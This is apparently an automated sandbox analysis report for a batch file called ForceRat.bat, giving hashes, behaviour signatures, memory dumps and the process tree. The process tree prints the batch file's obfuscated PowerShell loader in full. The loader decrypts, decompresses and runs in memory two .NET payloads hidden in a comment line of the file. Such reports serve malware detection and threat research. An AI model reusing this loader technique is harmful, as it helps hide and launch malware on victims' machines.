Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    08/03/2025, 22:11

General

  • Target

    ForceRat.bat

  • Size

    62KB

  • MD5

    9ff22475afa34e18ac87c1ecf2d2453d

  • SHA1

    2ccceed810073dddf873c03507c0d83d1054889c

  • SHA256

    34dbb840c1e4fcda91badbe0f86af62a27ec6f36feb0c804e14494d9b2d20c83

  • SHA512

    43d7c2539ec8a4219fd13351a39b3a2b2fc4755203cb7fd90698d5b10fc7cc86a5adee890c0a1ae295ec0b524eac9dbfcc9c4a1193e9229dec10069414e13ddf

  • SSDEEP

    1536:OMctvfYIoxAwbvnzCRsU/inHUXgXnB5k16:OMctv2rzCm0in0wXnzA6

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ForceRat.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BBJjIPrkiMu54o7S2Kkh7ta7aoxNtRDfeHTVupEQamI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7i8nyfo4dAw7TNNjSmXtJA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dCOmI=New-Object System.IO.MemoryStream(,$param_var); $zHMRK=New-Object System.IO.MemoryStream; $kYWHz=New-Object System.IO.Compression.GZipStream($dCOmI, [IO.Compression.CompressionMode]::Decompress); $kYWHz.CopyTo($zHMRK); $kYWHz.Dispose(); $dCOmI.Dispose(); $zHMRK.Dispose(); $zHMRK.ToArray();}function execute_function($param_var,$param2_var){ $qDyOg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DFcjP=$qDyOg.EntryPoint; $DFcjP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ForceRat.bat';$pidIT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ForceRat.bat').Split([Environment]::NewLine);foreach ($gGJcA in $pidIT) { if ($gGJcA.StartsWith(':: ')) { $qdpSs=$gGJcA.Substring(3); break; }}$payloads_var=[string[]]$qdpSs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2688-4-0x000007FEF51EE000-0x000007FEF51EF000-memory.dmp

    Filesize

    4KB

  • memory/2688-5-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

    Filesize

    2.9MB

  • memory/2688-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

    Filesize

    32KB

  • memory/2688-7-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-8-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-9-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-11-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-10-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-12-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

    Filesize

    9.6MB